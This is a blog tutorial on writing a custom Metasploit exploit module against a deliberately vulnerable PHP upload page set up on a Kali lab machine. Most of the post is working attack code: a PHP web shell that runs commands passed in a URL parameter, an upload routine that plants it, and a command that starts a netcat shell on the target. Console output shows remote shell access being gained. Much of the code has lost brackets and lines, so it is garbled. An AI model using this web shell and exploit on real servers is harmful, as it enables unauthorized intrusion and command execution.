Tuesday, 30 December 2014

[EN] Your own modules for Metasploit

Sometimes during penetration tests we are using tools like Metasploit.
Last time I had a moment to check this more carefully.

I was wondering how can I automate exploitation process of vulnerabilities found in the past. One idea was to use MSF.

After docs:
to start using 'your own modules' (or external), you need to prepare your system a little bit.
I was using kali-1.0.7 with vmplayer. There I was using apache2 + PHP.

First of all we will create a vulnerable webapplication. This simple bug will be related to "upload vulnerability" (so our MSF module should upload webshell to target host).

Let's create 2 directories:
mkdir /var/www/upload
mkdir /var/www/upload/foto

Next, we need to change permissions of our 'foto' directory, to 777.
Next step will be creating an upload.php file in '/upload/' direcory.
(Code is borrowed from one tutorial found somewhere on the internet).

root@kali:/var/www/upload# cat upload.php
$max_rozmiar = 1024*1024;
if (is_uploaded_file($_FILES['plik']['tmp_name'])) {
    if ($_FILES['plik']['size'] > $max_rozmiar) {
        echo 'Blad! Plik jest za duzy!';
    } else {
        echo 'Odebrano plik. Poczatkoowa nazwa: '.$_FILES['plik']['name'];
        echo '<br/>';
        if (isset($_FILES['plik']['type'])) {
            echo 'Typ: '.$_FILES['plik']['type'].'<br/>';
} else {
   echo 'Blad przy przesylaniu danych!';

When we have all (vulnerable) files (and dirs) prepared, we can start configuring our 'msf environment'. Let's back to the docs:

---<doc>---*  Mirror the "real" Metasploit module paths
mkdir -p $HOME/.msf4/modules/exploit

*  Create an appropriate category # for our example we don't need it now ;)
mkdir -p $HOME/.msf4/modules/exploits/windows/fileformat

*  Create the module
...# we will get to it ;)

*  Test it all out
mkdir -p $HOME/.msf4/modules/exploits/test
curl -Lo ~/.msf4/modules/exploits/test/test_module.rb http://yours/test_module.rb

* reload msf
msf > reload_all

* use your code
msf > use exploit/test/test_module
msf exploit(test_module) > info 

Now, when our local OS is prepared and ready to use, we can move on to creating our simple module:


# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
      'Name'           => 'Super cool shell upload',
      'Description'    => %q{
                This is super cool module for Metasploit to check if you can upload shell on target.
      'Author'         =>
          'HauntIT Blog'     # metasploit module
      'License'        => MSF_LICENSE,
      'References'     =>
          [ 'URL', 'http://HauntIT.blogspot.com']
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [ ['Any vulnerable upload ', {}] ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '28/12/2014'))

  def check
    readurl = normalize_uri(target_uri.path, 'upload','upload.php')
    res = send_request_cgi({
      'uri'    => readurl,
      'method' => 'GET'

    if res.code != 200
      return Msf::Exploit::CheckCode::Unknown

    return Msf::Exploit::CheckCode::Safe

  def exploit
    payload_name = "#{rand_text_alpha(10)}.php"

    shell = "<?php echo '<pre>';$c=$_GET['c'];shell_exec($c);?>"

    uri = normalize_uri(target_uri.path, 'upload','upload.php')

    data = Rex::MIME::Message.new
    data.add_part(shell, 'application/octet-stream', 'binary', "form-data; name=\"plik\"; filename=\"#{payload_name}\"")

    post_data = data.to_s

    payload_uri = normalize_uri(target_uri.path, 'upload','foto', payload_name)

    print_status("#{peer} - Uploading payload to #{payload_uri}")
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => uri,
      'ctype'    => "multipart/form-data; boundary=#{data.bound}",
      'vars_post' => { 'plik' => '#{payload_name}' },
      'data'     => post_data

    if res.code != 200 || res.body =~ /Blad/
      fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
      print_status("Got shell ;>")

    print_status("#{peer} - Executing payload #{payload_uri}")
    res = send_request_cgi({
      'uri'    => payload_uri,
      'method' => 'GET',
      'vars_get' => {'c' => 'id;nc -lvvp 4445 -e /bin/sh &'}


(Pastebin version is here.)

Now it's time to step "Test it all out", so let's upload our new module to ~/.msf4 directory and type reload_all in msfconsole. To get to our module, we need to type:

msf>  use exploit/test/upload_check


Exploitation should be:

msf exploit(upload_check) > exploit
[*] Started reverse handler on
[*] - Uploading payload to /upload/foto/UXpCFrWwkW.php
[*] Got shell ;>
[*] - Executing payload /upload/foto/UXpCFrWwkW.php

 Now in second console, we will connect to attacked host:

root@kali:/var/www/upload# netstat -antp | grep 444
tcp        0      0  *               LISTEN      21563/nc
root@kali:/var/www/upload# telnet 4445
Connected to
Escape character is '^]'.
uid=33(www-data) gid=33(www-data) groups=33(www-data)

And that's all. ;)

Questions / ideas / comments?

Good luck with creating your own modules!


  1. you could just use shell = payload.encoded instead of using a hardcoded PHP shell.

    Jay Turla


What do You think...?